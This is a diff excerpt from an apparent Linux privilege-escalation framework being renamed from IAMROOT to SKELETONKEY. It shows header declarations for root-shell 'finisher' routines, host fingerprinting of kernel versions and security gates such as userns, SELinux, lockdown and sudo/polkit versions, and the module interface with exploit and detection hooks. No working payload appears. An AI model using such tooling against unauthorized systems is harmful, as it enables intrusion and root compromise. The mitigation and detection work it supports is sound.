* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
* 1. Walk task linked list from init_task to find self by pid
|
||||
* (this requires arb-READ too — not supplied here; B-pattern
|
||||
* modules need to provide their own variant)
|
||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
||||
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||
* helpful error. */
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||
|
||||
#endif /* IAMROOT_FINISHER_H */
|
||||
#endif /* SKELETONKEY_FINISHER_H */
|
||||
|
||||
+345
@@ -0,0 +1,345 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint implementation
|
||||
*
|
||||
* Lives behind a one-shot lazy-init: skeletonkey_host_get() probes on
|
||||
* first call, stores into a file-static, and returns the same pointer
|
||||
* forever after. Single-threaded (skeletonkey is single-threaded), so
|
||||
* no synchronisation needed.
|
||||
*/
|
||||
|
||||
#include "host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <pwd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#endif
|
||||
|
||||
static struct skeletonkey_host g_host;
|
||||
static bool g_host_ready = false;
|
||||
|
||||
/* ── small parser helpers ─────────────────────────────────────────── */
|
||||
|
||||
/* Copy the value of a `KEY=VAL` line (stripping leading quotes and
|
||||
* trailing quote / newline) into `dst`. Caller passes the start of the
|
||||
* value (after `=`). Cap is the size of dst including NUL. */
|
||||
static void parse_os_release_value(const char *s, char *dst, size_t cap)
|
||||
{
|
||||
const char *p = s;
|
||||
if (*p == '"' || *p == '\'') p++;
|
||||
size_t L = strcspn(p, "\"'\n");
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, p, L);
|
||||
dst[L] = '\0';
|
||||
}
|
||||
|
||||
static bool path_exists(const char *p)
|
||||
{
|
||||
struct stat st;
|
||||
return stat(p, &st) == 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* Sysctl/sys-fs readers — Linux-only consumers (populate_caps). */
|
||||
static bool read_int_file(const char *path, int *out)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
int v;
|
||||
int n = fscanf(f, "%d", &v);
|
||||
fclose(f);
|
||||
if (n != 1) return false;
|
||||
*out = v;
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool read_first_line(const char *path, char *dst, size_t cap)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return false;
|
||||
if (!fgets(dst, (int)cap, f)) { fclose(f); return false; }
|
||||
fclose(f);
|
||||
size_t n = strlen(dst);
|
||||
while (n > 0 && (dst[n-1] == '\n' || dst[n-1] == '\r')) dst[--n] = '\0';
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ── populators ───────────────────────────────────────────────────── */
|
||||
|
||||
static void populate_kernel(struct skeletonkey_host *h)
|
||||
{
|
||||
struct utsname u;
|
||||
if (uname(&u) == 0) {
|
||||
/* utsname.machine/nodename can be up to 65 bytes on glibc; the
|
||||
* %.*s precision spec tells gcc the snprintf is bounded so it
|
||||
* does not warn about possible truncation (we WANT truncation;
|
||||
* the snprintf already caps). */
|
||||
snprintf(h->arch, sizeof h->arch,
|
||||
"%.*s", (int)sizeof(h->arch) - 1, u.machine);
|
||||
snprintf(h->nodename, sizeof h->nodename,
|
||||
"%.*s", (int)sizeof(h->nodename) - 1, u.nodename);
|
||||
}
|
||||
/* kernel_version_current owns the static release-string buffer
|
||||
* and the parser — reuse it to keep one source of truth. */
|
||||
kernel_version_current(&h->kernel);
|
||||
}
|
||||
|
||||
static void populate_distro(struct skeletonkey_host *h)
|
||||
{
|
||||
snprintf(h->distro_id, sizeof h->distro_id, "?");
|
||||
snprintf(h->distro_version_id, sizeof h->distro_version_id, "?");
|
||||
snprintf(h->distro_pretty, sizeof h->distro_pretty, "?");
|
||||
|
||||
FILE *f = fopen("/etc/os-release", "r");
|
||||
if (!f) return;
|
||||
char line[256];
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "ID=", 3) == 0)
|
||||
parse_os_release_value(line + 3,
|
||||
h->distro_id, sizeof h->distro_id);
|
||||
else if (strncmp(line, "VERSION_ID=", 11) == 0)
|
||||
parse_os_release_value(line + 11,
|
||||
h->distro_version_id, sizeof h->distro_version_id);
|
||||
else if (strncmp(line, "PRETTY_NAME=", 12) == 0)
|
||||
parse_os_release_value(line + 12,
|
||||
h->distro_pretty, sizeof h->distro_pretty);
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
static void populate_user(struct skeletonkey_host *h)
|
||||
{
|
||||
h->euid = geteuid();
|
||||
h->egid = getegid();
|
||||
h->is_root = (h->euid == 0);
|
||||
h->is_ssh_session = (getenv("SSH_CONNECTION") != NULL);
|
||||
|
||||
h->username[0] = '\0';
|
||||
struct passwd *pw = getpwuid(h->euid);
|
||||
if (pw && pw->pw_name)
|
||||
snprintf(h->username, sizeof h->username, "%s", pw->pw_name);
|
||||
|
||||
/* Default: real_uid == euid (no userns). Try /proc/self/uid_map to
|
||||
* discover the outer uid if we're inside a user namespace. Format
|
||||
*
|
||||
* "0 0 4294967295" → init ns, outer == 0
|
||||
* "0 1000 1" → userns mapped, outer == 1000
|
||||
*
|
||||
* Only trust outer != 0 and != -1 as the bypass-userns case. */
|
||||
h->real_uid = h->euid;
|
||||
int fd = open("/proc/self/uid_map", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
char buf[256];
|
||||
ssize_t n = read(fd, buf, sizeof buf - 1);
|
||||
close(fd);
|
||||
if (n > 0) {
|
||||
buf[n] = '\0';
|
||||
int inner = -1, outer = -1, count = 0;
|
||||
if (sscanf(buf, "%d %d %d", &inner, &outer, &count) == 3 &&
|
||||
inner == 0 && outer > 0)
|
||||
h->real_uid = (uid_t)outer;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void populate_platform_family(struct skeletonkey_host *h)
|
||||
{
|
||||
#ifdef __linux__
|
||||
h->is_linux = true;
|
||||
#else
|
||||
h->is_linux = false;
|
||||
#endif
|
||||
h->is_debian_family = path_exists("/etc/debian_version");
|
||||
h->is_rpm_family = path_exists("/etc/redhat-release") ||
|
||||
path_exists("/etc/fedora-release") ||
|
||||
path_exists("/etc/rocky-release") ||
|
||||
path_exists("/etc/almalinux-release");
|
||||
h->is_arch_family = path_exists("/etc/arch-release");
|
||||
h->is_suse_family = path_exists("/etc/SuSE-release") ||
|
||||
path_exists("/etc/SUSE-brand");
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* fork+unshare(CLONE_NEWUSER) probe. Forks once; ~1ms cost. */
|
||||
static bool userns_probe(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return false;
|
||||
if (pid == 0) {
|
||||
_exit(unshare(CLONE_NEWUSER) == 0 ? 0 : 1);
|
||||
}
|
||||
int st;
|
||||
if (waitpid(pid, &st, 0) < 0) return false;
|
||||
return WIFEXITED(st) && WEXITSTATUS(st) == 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static void populate_caps(struct skeletonkey_host *h)
|
||||
{
|
||||
h->unprivileged_userns_allowed = false;
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
|
||||
#ifdef __linux__
|
||||
h->unprivileged_userns_allowed = userns_probe();
|
||||
|
||||
int v = 0;
|
||||
if (read_int_file("/proc/sys/kernel/apparmor_restrict_unprivileged_userns", &v))
|
||||
h->apparmor_restrict_userns = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/unprivileged_bpf_disabled", &v))
|
||||
h->unprivileged_bpf_disabled = (v != 0);
|
||||
if (read_int_file("/sys/fs/selinux/enforce", &v))
|
||||
h->selinux_enforcing = (v != 0);
|
||||
if (read_int_file("/proc/sys/kernel/yama/ptrace_scope", &v))
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
if (read_first_line("/sys/kernel/security/lockdown", buf, sizeof buf))
|
||||
h->kernel_lockdown_active = (strstr(buf, "[none]") == NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
static void populate_services(struct skeletonkey_host *h)
|
||||
{
|
||||
h->has_systemd = path_exists("/run/systemd/system");
|
||||
h->has_dbus_system = path_exists("/run/dbus/system_bus_socket");
|
||||
}
|
||||
|
||||
/* Best-effort: run `cmd`, capture first stdout line, strip newline,
|
||||
* copy up to (cap - 1) bytes into dst. Returns true iff popen
|
||||
* succeeded, the command exited 0, and we got at least one line.
|
||||
* Used for sudo/pkexec/packagekitd version parsing at startup. */
|
||||
static bool capture_first_line(const char *cmd, char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
char buf[256];
|
||||
bool got = (fgets(buf, sizeof buf, p) != NULL);
|
||||
int rc = pclose(p);
|
||||
if (!got || rc != 0) return false;
|
||||
size_t L = strlen(buf);
|
||||
while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
|
||||
buf[--L] = '\0';
|
||||
if (L >= cap) L = cap - 1;
|
||||
memcpy(dst, buf, L);
|
||||
dst[L] = '\0';
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Extract the version-string token from a line of the form
|
||||
* "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
|
||||
* version token is everything from the first non-space after
|
||||
* `prefix` up to the next whitespace. Empty result when prefix not
|
||||
* found. */
|
||||
static void extract_version_after_prefix(const char *line,
|
||||
const char *prefix,
|
||||
char *dst, size_t cap)
|
||||
{
|
||||
dst[0] = '\0';
|
||||
const char *p = strstr(line, prefix);
|
||||
if (!p) return;
|
||||
p += strlen(prefix);
|
||||
while (*p == ' ' || *p == ':' || *p == '\t') p++;
|
||||
size_t i = 0;
|
||||
while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
|
||||
dst[i++] = *p++;
|
||||
dst[i] = '\0';
|
||||
}
|
||||
|
||||
static void populate_userspace_versions(struct skeletonkey_host *h)
|
||||
{
|
||||
h->sudo_version[0] = '\0';
|
||||
h->polkit_version[0] = '\0';
|
||||
|
||||
char line[256];
|
||||
if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "Sudo version",
|
||||
h->sudo_version, sizeof h->sudo_version);
|
||||
|
||||
if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
|
||||
extract_version_after_prefix(line, "pkexec version",
|
||||
h->polkit_version, sizeof h->polkit_version);
|
||||
}
|
||||
|
||||
/* ── public entrypoints ───────────────────────────────────────────── */
|
||||
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void)
|
||||
{
|
||||
if (g_host_ready) return &g_host;
|
||||
|
||||
memset(&g_host, 0, sizeof g_host);
|
||||
populate_kernel(&g_host);
|
||||
populate_distro(&g_host);
|
||||
populate_user(&g_host);
|
||||
populate_platform_family(&g_host);
|
||||
populate_caps(&g_host);
|
||||
populate_services(&g_host);
|
||||
populate_userspace_versions(&g_host);
|
||||
g_host.probe_source = "skeletonkey core/host.c";
|
||||
g_host_ready = true;
|
||||
return &g_host;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch)
|
||||
{
|
||||
if (!h || h->kernel.major == 0)
|
||||
return false;
|
||||
if (h->kernel.major != major) return h->kernel.major > major;
|
||||
if (h->kernel.minor != minor) return h->kernel.minor > minor;
|
||||
return h->kernel.patch >= patch;
|
||||
}
|
||||
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_M, int lo_m, int lo_p,
|
||||
int hi_M, int hi_m, int hi_p)
|
||||
{
|
||||
return skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
|
||||
!skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
|
||||
}
|
||||
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
|
||||
{
|
||||
if (json || h == NULL) return;
|
||||
fprintf(stderr, "[*] host: %s%s%s kernel=%s arch=%s distro=%s/%s\n",
|
||||
h->nodename[0] ? h->nodename : "?",
|
||||
h->is_root ? " (ROOT)" : "",
|
||||
h->is_ssh_session ? " (SSH)" : "",
|
||||
h->kernel.release ? h->kernel.release : "?",
|
||||
h->arch[0] ? h->arch : "?",
|
||||
h->distro_id[0] ? h->distro_id : "?",
|
||||
h->distro_version_id[0] ? h->distro_version_id : "?");
|
||||
fprintf(stderr, "[*] gates: userns=%s aa_restrict=%s bpf_disabled=%s "
|
||||
"kpti=%s lockdown=%s selinux=%s yama_ptrace=%s\n",
|
||||
h->unprivileged_userns_allowed ? "yes" : "no",
|
||||
h->apparmor_restrict_userns ? "on" : "off",
|
||||
h->unprivileged_bpf_disabled ? "yes" : "no",
|
||||
h->kpti_enabled ? "on" : "off",
|
||||
h->kernel_lockdown_active ? "on" : "off",
|
||||
h->selinux_enforcing ? "on" : "off",
|
||||
h->yama_ptrace_restricted ? "yes" : "no");
|
||||
if (h->sudo_version[0] || h->polkit_version[0])
|
||||
fprintf(stderr, "[*] userspace: sudo=%s polkit=%s\n",
|
||||
h->sudo_version[0] ? h->sudo_version : "-",
|
||||
h->polkit_version[0] ? h->polkit_version : "-");
|
||||
}
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
/*
|
||||
* SKELETONKEY — host fingerprint
|
||||
*
|
||||
* Populated once at startup, before any module's detect() runs. Every
|
||||
* module receives a stable pointer via skeletonkey_ctx.host and can
|
||||
* consult it without re-parsing /proc, /etc/os-release, uname(2), or
|
||||
* forking another userns probe.
|
||||
*
|
||||
* The struct is deliberately POD (no heap pointers, fixed-size
|
||||
* arrays) so lifetime reasoning is trivial. A single static instance
|
||||
* lives in core/host.c; skeletonkey_host_get() returns the same
|
||||
* pointer on every call. The first call probes; subsequent calls
|
||||
* are O(1) lookups.
|
||||
*
|
||||
* Fields that don't apply on a given platform (e.g. AppArmor sysctls
|
||||
* on a non-Linux dev build, KPTI on aarch64) stay at their false /
|
||||
* "?" defaults. Probing is best-effort: a missing sysctl never fails
|
||||
* the call, just leaves the corresponding bool false.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_HOST_H
|
||||
#define SKELETONKEY_HOST_H
|
||||
|
||||
#include "kernel_range.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct skeletonkey_host {
|
||||
/* ── identity ─────────────────────────────────────────────── */
|
||||
|
||||
struct kernel_version kernel; /* uname.release parsed */
|
||||
char arch[32]; /* uname.machine ("x86_64", "aarch64") */
|
||||
char nodename[64]; /* uname.nodename (for log lines) */
|
||||
|
||||
char distro_id[64]; /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
|
||||
char distro_version_id[64]; /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
|
||||
char distro_pretty[128]; /* /etc/os-release PRETTY_NAME for log lines */
|
||||
|
||||
/* ── process state ─────────────────────────────────────────── */
|
||||
|
||||
uid_t euid; /* geteuid() */
|
||||
uid_t real_uid; /* outer uid (defeats userns illusion via /proc/self/uid_map) */
|
||||
gid_t egid; /* getegid() */
|
||||
char username[64]; /* getpwuid(euid)->pw_name or "" */
|
||||
bool is_root; /* euid == 0 */
|
||||
bool is_ssh_session; /* SSH_CONNECTION env var set */
|
||||
|
||||
/* ── platform family ───────────────────────────────────────── */
|
||||
|
||||
bool is_linux; /* compiled / running on Linux */
|
||||
bool is_debian_family; /* /etc/debian_version exists */
|
||||
bool is_rpm_family; /* redhat / fedora / rocky / almalinux release file */
|
||||
bool is_arch_family; /* /etc/arch-release */
|
||||
bool is_suse_family; /* /etc/SuSE-release or /etc/SUSE-brand */
|
||||
|
||||
/* ── capability / gate flags (Linux) ──────────────────────── */
|
||||
|
||||
bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
/* ── system services ──────────────────────────────────────── */
|
||||
|
||||
bool has_systemd; /* /run/systemd/system exists */
|
||||
bool has_dbus_system; /* /run/dbus/system_bus_socket exists */
|
||||
|
||||
/* ── userspace component versions ─────────────────────────
|
||||
* Parsed once at startup via popen() of the relevant binary's
|
||||
* --version output. Empty string ("") means "tool not installed
|
||||
* or version parse failed" — modules should treat that as
|
||||
* PRECOND_FAIL (no exploit target). The exact format mirrors
|
||||
* what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
|
||||
* 0.105`, …); modules do their own range parsing. */
|
||||
char sudo_version[64]; /* "1.9.13p1" or "" */
|
||||
char polkit_version[64]; /* "0.105" or "126" or "" */
|
||||
|
||||
/* Informational: the SKELETONKEY component that populated this
|
||||
* snapshot (for log/JSON output). */
|
||||
const char *probe_source;
|
||||
};
|
||||
|
||||
/* Get the host fingerprint. Returns a stable, non-null pointer that
|
||||
* lives for the process lifetime. Probes happen lazily on the first
|
||||
* call (~50ms; dominated by the userns fork-probe), are cached, and
|
||||
* subsequent calls are free.
|
||||
*
|
||||
* Probing is best-effort: missing files / unsupported sysctls leave
|
||||
* the corresponding bool false. The function does not fail. */
|
||||
const struct skeletonkey_host *skeletonkey_host_get(void);
|
||||
|
||||
/* Print a two-line "host fingerprint" banner to stderr suitable for
|
||||
* --auto / --scan verbose output. Silent on JSON mode. */
|
||||
void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
|
||||
|
||||
/* True iff h->kernel >= the (major, minor, patch) provided. Returns
|
||||
* false if h is NULL or its kernel version was never populated (major
|
||||
* == 0). Replaces the manual `v->major < X` / `(v->major == X &&
|
||||
* v->minor < Y)` patterns scattered across detect()s — cleaner reads
|
||||
* and one place to get the comparison right.
|
||||
*
|
||||
* Examples:
|
||||
* if (!host_kernel_at_least(h, 7, 0, 0)) // kernel predates 7.0
|
||||
* return SKELETONKEY_OK;
|
||||
* if ( host_kernel_at_least(h, 6, 8, 0)) // kernel post-fix
|
||||
* return SKELETONKEY_OK;
|
||||
*/
|
||||
bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
|
||||
int major, int minor, int patch);
|
||||
|
||||
/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
|
||||
* gates where the simple `kernel_range_is_patched` backport model
|
||||
* doesn't apply — e.g. a feature added in X.Y and removed/superseded
|
||||
* in W.Z, or a per-module "vulnerable only on these specific kernel
|
||||
* lines" check.
|
||||
*
|
||||
* Equivalent to:
|
||||
* host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
|
||||
*
|
||||
* For "predates the bug" alone use host_kernel_at_least directly; the
|
||||
* `in_range` form is for the bounded interval case.
|
||||
*
|
||||
* Example:
|
||||
* if (host_kernel_in_range(h, 5, 8, 0, 5, 17, 0))
|
||||
* // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
|
||||
* // introduction/fix dates (ignoring stable backports)
|
||||
*/
|
||||
bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
|
||||
int lo_major, int lo_minor, int lo_patch,
|
||||
int hi_major, int hi_minor, int hi_patch);
|
||||
|
||||
#endif /* SKELETONKEY_HOST_H */
|
||||
+2
-2
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel_range implementation
|
||||
* SKELETONKEY — kernel_range implementation
|
||||
*/
|
||||
|
||||
#include "kernel_range.h"
|
||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
||||
if (uname(&u) < 0) return false;
|
||||
|
||||
/* Stash release string for callers that want to print it. We hold
|
||||
* a single static buffer; not threadsafe but iamroot is single-
|
||||
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||
* threaded today. */
|
||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||
out->release = g_release_buf;
|
||||
|
||||
+4
-4
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel version range matching
|
||||
* SKELETONKEY — kernel version range matching
|
||||
*
|
||||
* Every CVE module needs to answer "is the host kernel in the affected
|
||||
* range?". This file centralizes that.
|
||||
@@ -17,8 +17,8 @@
|
||||
* patch version is at or above the threshold.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
||||
#define IAMROOT_KERNEL_RANGE_H
|
||||
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||
#define SKELETONKEY_KERNEL_RANGE_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||
const struct kernel_version *v);
|
||||
|
||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
||||
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||
|
||||
+43
-33
@@ -1,59 +1,69 @@
|
||||
/*
|
||||
* IAMROOT — core module interface
|
||||
* SKELETONKEY — core module interface
|
||||
*
|
||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
||||
* via a registry function. The top-level dispatcher (iamroot.c) walks
|
||||
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||
*
|
||||
* This is intentionally a small interface. Modules carry the
|
||||
* complexity; the dispatcher just routes.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_MODULE_H
|
||||
#define IAMROOT_MODULE_H
|
||||
#ifndef SKELETONKEY_MODULE_H
|
||||
#define SKELETONKEY_MODULE_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||
*
|
||||
* These map to top-level exit codes when iamroot is invoked with a
|
||||
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||
* single-module operation:
|
||||
*
|
||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
*
|
||||
* Implementation note: copy_fail_family's df_result_t shares these
|
||||
* numeric values intentionally so the family code can return its
|
||||
* existing constants without translation.
|
||||
*/
|
||||
typedef enum {
|
||||
IAMROOT_OK = 0,
|
||||
IAMROOT_TEST_ERROR = 1,
|
||||
IAMROOT_VULNERABLE = 2,
|
||||
IAMROOT_EXPLOIT_FAIL = 3,
|
||||
IAMROOT_PRECOND_FAIL = 4,
|
||||
IAMROOT_EXPLOIT_OK = 5,
|
||||
} iamroot_result_t;
|
||||
SKELETONKEY_OK = 0,
|
||||
SKELETONKEY_TEST_ERROR = 1,
|
||||
SKELETONKEY_VULNERABLE = 2,
|
||||
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||
SKELETONKEY_PRECOND_FAIL = 4,
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
struct iamroot_ctx {
|
||||
/* Per-invocation context passed to module callbacks. The host
|
||||
* fingerprint (kernel / distro / capability gates / service presence)
|
||||
* is populated once at startup by core/host.c and handed to every
|
||||
* module callback here — see core/host.h. */
|
||||
struct skeletonkey_host; /* forward decl; full def in core/host.h */
|
||||
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
bool active_probe; /* --active (do invasive probes in detect) */
|
||||
bool no_shell; /* --no-shell (exploit prep but don't pop) */
|
||||
bool authorized; /* user typed --i-know on exploit */
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
bool dry_run; /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
|
||||
|
||||
/* Host fingerprint — see core/host.h. Stable pointer, populated
|
||||
* once by main() before any module callback runs. Modules that
|
||||
* want to consult it #include "../../core/host.h". May be NULL
|
||||
* only in degenerate test contexts; main() always sets it. */
|
||||
const struct skeletonkey_host *host;
|
||||
};
|
||||
|
||||
struct iamroot_module {
|
||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
||||
struct skeletonkey_module {
|
||||
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||
const char *name;
|
||||
|
||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||
@@ -71,20 +81,20 @@ struct iamroot_module {
|
||||
const char *kernel_range;
|
||||
|
||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
||||
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Apply a temporary mitigation. NULL if none offered. */
|
||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||
* effects. NULL if no cleanup applies. */
|
||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Detection rule corpus — embedded so the binary is self-
|
||||
* contained. Each may be NULL if this module ships no rules for
|
||||
@@ -96,4 +106,4 @@ struct iamroot_module {
|
||||
const char *detect_falco; /* falco rules content */
|
||||
};
|
||||
|
||||
#endif /* IAMROOT_MODULE_H */
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
+22
-22
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
